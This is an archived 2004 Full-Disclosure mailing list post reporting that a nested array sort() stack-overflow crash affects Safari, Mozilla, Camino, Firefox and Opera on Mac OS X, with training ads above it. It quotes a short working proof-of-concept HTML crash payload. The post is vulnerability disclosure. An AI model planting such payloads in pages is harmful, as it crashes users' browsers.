Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security FullDisclosure
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

[Full-Disclosure] More Browser flaws on MACOSX: nested array sort() loop

from [Marco Mella] Network Security [Permanent Link]
Subject: [Full-Disclosure] More Browser flaws on MACOSX: nested array sort() loop Stack overflow exception
Date: Thu, 25 Nov 2004 17:44:11 +0100 
Same problems on MACOSX 10.3.6 with:
-Safari 1.2.4
-Mozilla 1.7
-Camino 0.7.0
-Firefox 1.0
-Opera 6.0.3

Not affected IE 5.2.3

Regards
--
Marco

---------

  Hi all,

  Same flaw works for Firefox as well as MSIE:

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>

Added to the list: http://www.edup.tudelft.nl/~bjwever/advisory_firefox_flaws.html

I'd have loved to CC mozilla about this, but I didn't have the time to do the crash course "how to write a bug report" and go through all that bugzilla crap.

  Cheers,
  SkyLined
  http://www.edup.tudelft.nl/~bjwever

--------------------------------------------------------------------

CONFIDENTIALITY NOTICE

This message and its attachments are addressed solely to the persons above and 
may contain confidential information. If you have received the message in 
error, be informed that any use of the content hereof is prohibited. Please 
return it immediately to the sender and delete the message. Should you have any 
questions, please contact us by replying to webmaster@telecomitalia.it.

       Thank you

                                       www.telecomitalia.it

--------------------------------------------------------------------
[More with this subject...]




<Prev in Thread] Current Thread [Next in Thread>
Previous by Date:  Re: [Full-Disclosure] Shellcode encoder used in IFRAME exploit., Max Valdez
Next by Date:  [USN-32-1] mysql vulnerabilities, Martin Pitt
Previous by Thread:  [Full-Disclosure] FIREFOX flaws: nested array sort() loop Stack overflow exception, Berend-Jan Wever
Next by Thread:  [Full-Disclosure] Re: FIREFOX flaws: nested array sort() loop Stack overflow exception, Gadi Evron
Indexes:  [Date] [Thread] [Top] [All Lists]